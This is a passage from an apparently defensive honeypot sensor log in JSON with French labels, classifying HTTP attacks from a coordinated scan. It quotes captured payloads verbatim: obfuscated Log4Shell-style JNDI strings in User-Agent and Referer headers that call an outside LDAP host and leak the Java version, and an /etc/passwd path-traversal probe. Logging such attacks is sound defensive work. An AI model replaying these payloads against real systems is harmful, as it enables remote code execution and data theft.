\u0022${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:-A}${4a1:-l}${moj:yg:-0}${zab:-c}${k:9cvq:--}${${md4w:nw:-s}${n2y:a6e:wm:-y}${o9i:1sd0:-s}${y:\u2026\u0022, \u0022waf_tags\u0022: [\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022], \u0022waf_rule_names\u0022: [\u0022rce-0\u0022, \u0022rce-14\u0022, \u0022nosqli-3\u0022, \u0022sap-sapcontrol-path\u0022], \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:\u0022, \u0022payload_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9\u0022, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022mitre_tactics\u0022: [\u0022TA0007\u0022, \u0022TA0001\u0022], \u0022mitre\u0022: \u0022TA0007\u0022, \u0022threat_family\u0022: [\u0022unknown\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u0022646914addffbf2bef7ce84b36dcbebd5e2fa1b6e\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}\u2026\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9\u0022, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 57\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 60 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 60, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 60.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 33.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 57, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022probe\u0022, \u0022attack_stage_label\u0022: \u0022Sonde \/ probe\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 57, \u0022risk_label\u0022: \u0022Moyen\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8005, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022pat-0162\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022pat-0162\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022TA0007\u0022, \u0022mitre_technique\u0022: \u0022TA0007\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/\u0022, \u0022request_line\u0022: \u0022GET \/ HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}\u2026\u0022, \u0022port\u0022: 8005, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)\u0022, \u0022evidence_snippet\u0022: \u0022GET \/ HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\\r\\nAccept: *\/*\\r\\nUser-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9\u0022, \u0022target_port_label\u0022: \u00228005 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 60 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022post_exploit\u0022, \u0022label_fr\u0022: \u0022Post-exploitation\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022c2\u0022, \u0022label_fr\u0022: \u0022Commande \u0026 contr\u00f4le\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022reconnaissance\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: true, \u0022kind\u0022: \u0022chain\u0022, \u0022hint_fr\u0022: null}]}, \u0022honeypot_persona\u0022: {\u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022mail_host\u0022: \u0022mail.sensor-1.internal\u0022, \u0022ldap_dc\u0022: \u0022dc.sensor-1.internal\u0022, \u0022k8s_cluster\u0022: \u0022hp-sensor-1\u0022, \u0022domain\u0022: \u0022sensor-1.internal\u0022, \u0022service_role\u0022: \u0022http\u0022, \u0022service_banner\u0022: \u0022honeypot-http\u0022, \u0022service_os\u0022: \u0022linux\u0022, \u0022dst_port\u0022: \u00228005\u0022}, \u0022hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022sensor_id\u0022: \u0022sensor-1\u0022, \u0022coordinated_scan\u0022: true, \u0022coordinated_subnet\u0022: \u002234.19.116.0\/24\u0022, \u0022coordinated_ip_count\u0022: 8, \u0022behavior_alerts\u0022: [\u0022coordinated_scan\u0022], \u0022correlation_confidence_boost\u0022: 10, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022ban_policy\u0022: \u0022advisory_investigate\u0022, \u0022tags_list\u0022: [\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022], \u0022asn_dc_heuristic\u0022: true, \u0022behavior_alert_count\u0022: 1, \u0022behavior_priority\u0022: 84}","tls_sni":null,"tls_ja3_hash":null,"tls_ja3":null,"http_version":"HTTP\/1.1","http_host":"ip-62-3-50-33.v4.isp.servpersosystems.net:8005","http_user_agent":"${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-\/}${s:-\/}${t5e:n027:-U}${h:-A}${4a1:-l}${moj:yg:-0}${zab:-c}${k:9cvq:--}${${md4w:nw:-s}${n2y:a6e:wm:-y}${o9i:1sd0:-s}${y:9:g5:-:}${7:-j}${pz0k:-a}${bi:xa:j:-v}${w4h:-a}${rkgm:kspt:-.}${yso:-v}${e0:h:-e}${7:-r}${6tw3:-s}${8l05:wz5t:-i}${et:-o}${u1:e:-n}}${r:dyv:-.}${9v5:-f}${yu2:7:-0}${m:-5}${ql:dg67:-c}${l8:-3}${mu:m:-e}${cb:j5:u:-4}${du5:-0}${v:kfw:mlt:-8}${k:-2}${n:-b}${h3k:c9:mzd1:-9}${u:0ohs:-4}${i:-2}${p:-8}${2g17:9rj:-f}${rc:-7}${e:-9}${c80:u:hbg3:-7}${mw6:o20f:sqe:-f}${auz:-6}${1589:-e}${dvj:u0zq:-9}${i:zuv:-6}${8jf:-e}${k:eu:-3}${0:txcl:qmi2:-8}${2:m3xl:mqh:-f}${eqyd:7io:jx:-0}${a:-2}${05k:g:upc:-5}${934:-0}${u3k:-3}${8:xsc:5tq:-3}${y:264:-8}${xplg:zwo6:-f}${9ni:-d}${x:d0:p2z:-9}${6vls:co0:-0}${1ge:l7xc:-e}${d:8ey5:-2}${wmu:yk:-a}${8ql:r:-.}${r3b2:e:yo6:-d}${a:qp52:h6:-n}${a:-s}${s:2:5y:--}${hg4:a:yx9:-e}${ev2:31k:-x}${73:-f}${3vi:e:-i}${hwop:-l}${r:i:-.}${b4:lrd:g:-m}${kl:f:0znl:-a}${3ifg:xfe7:7:-s}${ao:g6:-m}${z:sl:hg:-c}${j:5rdi:-o}${07:nemp:5exl:-r}${7mj:ncz:-e}${0yj5:--}${ufx:fj:5:-c}${ds:w4f:idt:-f}${qy:m:--}${mv2:-p}${hs5:ub:-r}${3yq:-o}${2rkb:y:q3:-d}${cbo:y9:--}${jdz:jd:c:-0}${d7:k:6:-2}${8lt:-.}${p1d:mo:-m}${lu2:-a}${3:72k:-s}${y:l8kz:-m}${hv7n:-.}${g8a:ia:c:-c}${hci:-l}${ca8u:-o}${o2yg:nio:2:-u}${2n1p:-d}${t:-f}${72zf:b:-e}${9:3:j5oa:-r}${qta:-r}${1xa:-y}${265e:-.}${709:-g}${cgv:k1j:-o}${mi2:so:zf:-o}${3ys5:qa:-g}}","http_referer":"${${2bsl:s:z6j:-j}${kl6y:zv2c:-n}${lr:0mu3:nkbu:-d}${1:-i}${yr:-:}${y7w8:-l}${no2:ja:c:-d}${5s:cihb:-a}${p1:d5:dlf:-p}${sz:gyp6:-:}${uc0n:1hz:k:-\/}${4:74ov:-\/}${2:jb9:ey:-R}${u:-E}${b1mt:mnk:-l}${a:m8u:-0}${6d5:-c}${i7v:1q:--}${${jzr:sc:-s}${2:5qm:fi:-y}${8:-s}${x2:9:-:}${j:3m:m:-j}${6o:-a}${yh09:cvp:-v}${2c8:y:p:-a}${l:-.}${a:-v}${qg1:-e}${bjha:-r}${8bs1:-s}${jah:o2:a:-i}${l:1:gjq:-o}${9:023:-n}}${exs:58f:-.}${1:-f}${i2g:6:-0}${w:-5}${l9n0:vjtf:4sxf:-c}${8taw:kqgf:-3}${0jn9:xam:i:-e}${mvc8:qr:-4}${gc:-0}${g0bu:04:txjv:-8}${0:-2}${y37f:i:-b}${idq:wyaj:ncz8:-9}${ekbh:au:-4}${io5t:75xi:9lz:-2}${qcsk:17:4xe:-8}${47uo:96s:-f}${6r3:-7}${d91r:8o:6:-9}${k0mu:phn:pne:-7}${o:-f}${gv:-6}${a5:ild:0s:-e}${asn:2yo:-9}${x:n:yuv9:-6}${p:-e}${1:xq6:-3}${x3i:wtnq:-8}${1v9:bq8:fzj:-f}${kmzy:-0}${ej59:-2}${m:ph:xymi:-5}${e1:nax3:-0}${01et:-3}${pd0o:c6m:bd:-3}${0hi:-8}${6i:lowu:-f}${jz:g:3tqk:-d}${yi0:m:-9}${5:ndp:60x:-0}${x6w8:h:a5o:-e}${irq:-2}${mz45:1q9:-a}${rj:h2k:y:-.}${h:-d}${7z:-n}${w5:-s}${o4:th47:--}${7z:-e}${2k:-x}${tg9:2oq:g:-f}${cl:u:80v:-i}${p:-l}${v:wipr:-.}${am:os:0em:-m}${k:fb8:-a}${em:-s}${clg:-m}${b2n:-c}${0o:70p:2fc:-o}${f4q:6hgu:-r}${mj:-e}${cu8:--}${e:x6de:-c}${vy:8y:6lca:-f}${g12b:--}${j:uh:-p}${0lf4:e:b:-r}${ij:n:k65:-o}${2t:idus:-d}${ghi:--}${w:-0}${a:-2}${hyc:-.}${xc7:izu:1:-m}${n4a:o8p:-a}${9:ir:-s}${iw0s:-m}${1r2:ywhd:-.}${67lh:-c}${e49:-l}${k:dw:-o}${t:-u}${l:izue:xsr2:-d}${dzo2:1jgy:-f}${zw:-e}${2vym:-r}${zd:-r}${2t:j96q:1:-y}${1b:n:m5:-.}${fsb:62:ak:-g}${y:tap:glk:-o}${cr:c:-o}${2n8:-g}}","tags":"[\u0022950326:rce-0\u0022, \u0022950382:rce-14\u0022, \u0022950470:nosqli-3\u0022, \u0022950734:sap-sapcontrol-path\u0022, \u0022net_web_probe\u0022]","anomalies":"[]","severity":10,"bytes_in":4096},{"id":14646408,"ip":"34.19.116.51","ts":"2026-07-31 15:15:36.000000","proto":"tcp","src_port":36864,"dst_port":8111,"service":"http","classification":"lfi_path_traversal","waf_score":27,"waf_tags":"[\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022]","http_method":"GET","http_target":"\/etc\/passwd","sensor_id":"paris-1","meta":"{\u0022protocol_emulated\u0022: true, \u0022emulator_response\u0022: \u0022485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b\u0022, \u0022emulator_response_len\u0022: 82, \u0022http_header_count\u0022: 3, \u0022http_query_params\u0022: 0, \u0022http_path_depth\u0022: 2, \u0022http_path_ext\u0022: null, \u0022http_ua_hash\u0022: \u00229468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c\u0022, \u0022http_host_hash\u0022: \u0022bffaa2abb7d9ce91f1039eb55cd73d62a6f71f46\u0022, \u0022http_target_hash\u0022: \u0022b5cc3f676d00dd320d85ef41a5209fa0a99891ea\u0022, \u0022http_referer_hash\u0022: null, \u0022http_method\u0022: \u0022GET\u0022, \u0022http_ua_is_cli\u0022: false, \u0022http_ua_is_browser\u0022: true, \u0022bytes_in\u0022: 226, \u0022payload_entropy\u0022: 5.396423924663369, \u0022port_category\u0022: \u0022registered\u0022, \u0022org\u0022: \u0022Google LLC\u0022, \u0022service\u0022: \u0022http\u0022, \u0022app_proto\u0022: \u0022http\u0022, \u0022asn\u0022: 396982, \u0022country\u0022: \u0022US\u0022, \u0022dst_port\u0022: 8111, \u0022risk_waf\u0022: 100.0, \u0022risk_classification\u0022: 78.0, \u0022risk_behavior\u0022: 0.0, \u0022risk_geo\u0022: 40.0, \u0022risk_protocol\u0022: 43.0, \u0022risk_novelty\u0022: 25.0, \u0022risk_boost\u0022: 0, \u0022risk_granularity\u0022: 5.3, \u0022risk_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0}, \u0022risk_score\u0022: 69, \u0022tag_count\u0022: 6, \u0022anomaly_count\u0022: 0, \u0022campaign_key\u0022: \u00227dcd39bb2719e82afc2a9a551a5381f1e2cc29c9\u0022, \u0022event_fingerprint\u0022: \u00220733578c547f78488269d0b54568ff461812bfcd\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022confidence\u0022: 1.0, \u0022classification_confidence\u0022: 1.0, \u0022precision_score\u0022: 344, \u0022precision_signals\u0022: [\u0022MITRE-T1083\u0022, \u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0137\u0022, \u0022CRS-930100-sub\u0022], \u0022kb_rule_ids\u0022: [\u0022MITRE-T1083\u0022, \u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0137\u0022, \u0022CRS-930100-sub\u0022], \u0022matched_patterns\u0022: [\u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0324\u0022, \u0022pat-0137\u0022], \u0022matched_pattern_names\u0022: [\u0022CRS 930160 etc passwd\u0022, \u0022MITRE T1083 file enum\u0022, \u0022SSRF Any-address SSRF\u0022, \u0022LFI path \/etc\/passwd\u0022], \u0022pattern_ids\u0022: [\u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0324\u0022, \u0022pat-0137\u0022], \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 69, \u0022correlation_boost\u0022: 10}, \u0022named_classification_skipped\u0022: false, \u0022classification_parent\u0022: \u0022path_traversal\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_confidence_factor\u0022: 100.0, \u0022city\u0022: null, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false, \u0022geo\u0022: {\u0022country\u0022: \u0022US\u0022, \u0022asn\u0022: 396982, \u0022org\u0022: \u0022Google LLC\u0022, \u0022is_datacenter\u0022: true, \u0022is_tor_hint\u0022: false}, \u0022fingerprint\u0022: {\u0022http_ua_hash\u0022: \u00222994862c1f8176879ed381354c9dd245\u0022, \u0022payload_hash\u0022: \u00221a1d8ee5bd040d488de384a37bd70264\u0022, \u0022path_pattern_hash\u0022: \u002274acf31844532670be412c65b8251ee5\u0022}, \u0022target_context\u0022: {\u0022dst_port\u0022: 8111, \u0022service\u0022: \u0022http\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022risk_score\u0022: 69}, \u0022payload_preview\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh;\u0022, \u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/etc\/passwd\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh;\u0022, \u0022evidence\u0022: {\u0022method\u0022: \u0022GET\u0022, \u0022path\u0022: \u0022\/etc\/passwd\u0022, \u0022user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022waf_tags\u0022: [\u0022950264:lfi-1\u0022, \u0022950326:rce-0\u0022, \u0022950468:nosqli-3\u0022, \u0022950470:nosqli-3\u0022], \u0022waf_rule_names\u0022: [\u0022lfi-1\u0022, \u0022rce-0\u0022, \u0022nosqli-3\u0022], \u0022request_line\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\u0022, \u0022request_sample\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\\r\\n\\r\\n\u0022, \u0022payload_snippet\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh;\u0022, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022mitre_tactics\u0022: [\u0022TA0001\u0022, \u0022TA0002\u0022], \u0022mitre_techniques\u0022: [\u0022T1083\u0022], \u0022mitre\u0022: \u0022T1083\u0022, \u0022threat_family\u0022: [\u0022path_traversal\u0022], \u0022recommended_client_action\u0022: \u0022investigate\u0022, \u0022policy_mode\u0022: \u0022intelligence\u0022, \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022event_signature\u0022: \u00226744cae87a7278a098e58a927386b6d6c4abc156\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/etc\/passwd\u0022, \u0022request_line\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8111, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022evidence_snippet\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh;\u0022, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:8111 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/etc\/passwd\u0022, \u0022target_port_label\u0022: \u00228111 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022site_display\u0022: {\u0022classification\u0022: null, \u0022classification_reason\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022classification_reason_label_fr\u0022: \u0022Sonde fichier sensible \/ config \u00b7 confiance 100%\u0022, \u0022executive_one_liner_fr\u0022: \u0022Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP \u2014 campagne \/24 (34.19.116.0\/24)\u0022, \u0022confidence_pct\u0022: 100, \u0022confidence_breakdown\u0022: {\u0022waf\u0022: 100.0, \u0022classification\u0022: 78.0, \u0022behavior\u0022: 0.0, \u0022geo\u0022: 40.0, \u0022protocol\u0022: 43.0, \u0022novelty\u0022: 25.0, \u0022risk_score\u0022: 69, \u0022correlation_boost\u0022: 10}, \u0022attack_stage\u0022: \u0022exploit_attempt\u0022, \u0022attack_stage_label\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022attack_chain_stage\u0022: \u0022reconnaissance\u0022, \u0022attack_chain_stage_label_fr\u0022: \u0022Reconnaissance\u0022, \u0022risk_score\u0022: 69, \u0022risk_label\u0022: \u0022\u00c9lev\u00e9\u0022, \u0022service_name\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022, \u0022dst_port\u0022: 8111, \u0022protocol_emulated\u0022: true, \u0022tags_summary\u0022: [\u0022MITRE-T1083\u0022, \u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0137\u0022], \u0022tags_summary_labels_fr\u0022: [\u0022MITRE-T1083\u0022, \u0022pat-0716\u0022, \u0022pat-0802\u0022, \u0022pat-0137\u0022], \u0022recommended_action\u0022: \u0022investigate\u0022, \u0022recommended_action_label\u0022: \u0022Investiguer\u0022, \u0022mitre\u0022: \u0022T1083\u0022, \u0022mitre_technique\u0022: \u0022T1083\u0022, \u0022persona_hostname\u0022: \u0022mail.sensor-1.internal\u0022, \u0022persona_service_banner\u0022: \u0022honeypot-http\u0022, \u0022correlation_flags\u0022: [\u0022scan_coordonn\u00e9\u0022], \u0022correlation_flags_labels_fr\u0022: [\u0022Scan coordonn\u00e9\u0022], \u0022sensor_role\u0022: \u0022threat_intelligence\u0022, \u0022sensor_role_label_fr\u0022: \u0022Renseignement menaces\u0022, \u0022confidence_hint_fr\u0022: \u0022Corr\u00e9lation +10\u0022, \u0022protocol_details\u0022: {\u0022http_method\u0022: \u0022GET\u0022, \u0022http_path\u0022: \u0022\/etc\/passwd\u0022, \u0022request_line\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\u0022, \u0022http_user_agent\u0022: \u0022Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\u0022, \u0022port\u0022: 8111, \u0022service\u0022: \u0022http\u0022, \u0022service_label_fr\u0022: \u0022HTTP\u0022}, \u0022attack_vector\u0022: \u0022lfi path traversal \u00b7 via HTTP:8111 \u00b7 (tentative d\u0027exploit) \u00b7 \u2192 \/etc\/passwd\u0022, \u0022evidence_snippet\u0022: \u0022GET \/etc\/passwd HTTP\/1.1\\r\\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8111\\r\\nAccept: *\/*\\r\\nUser-Agent: Mozilla\/5.0 (Macintosh;\u0022, \u0022target_port_label\u0022: \u00228111 \u00b7 HTTP\u0022, \u0022emulator_service\u0022: \u0022http\u0022, \u0022confidence_reason\u0022: \u0022Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF\u0022, \u0022confidence_factors_fr\u0022: \u0022Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +10 \u00b7 4 tag(s) WAF\u0022, \u0022campaign_hint_fr\u0022: \u0022Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)\u0022, \u0022attack_phases_timeline_fr\u0022: [{\u0022key\u0022: \u0022recon\u0022, \u0022label_fr\u0022: \u0022Reconnaissance\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022probe\u0022, \u0022label_fr\u0022: \u0022Sonde \/ probe\u0022, \u0022active\u0022: false, \u0022kind\u0022: \u0022stage\u0022}, {\u0022key\u0022: \u0022exploit_attempt\u0022, \u0022label_fr\u0022: \u0022Tentative d\u0027exploit\u0022, \u0022active\u0022: true, 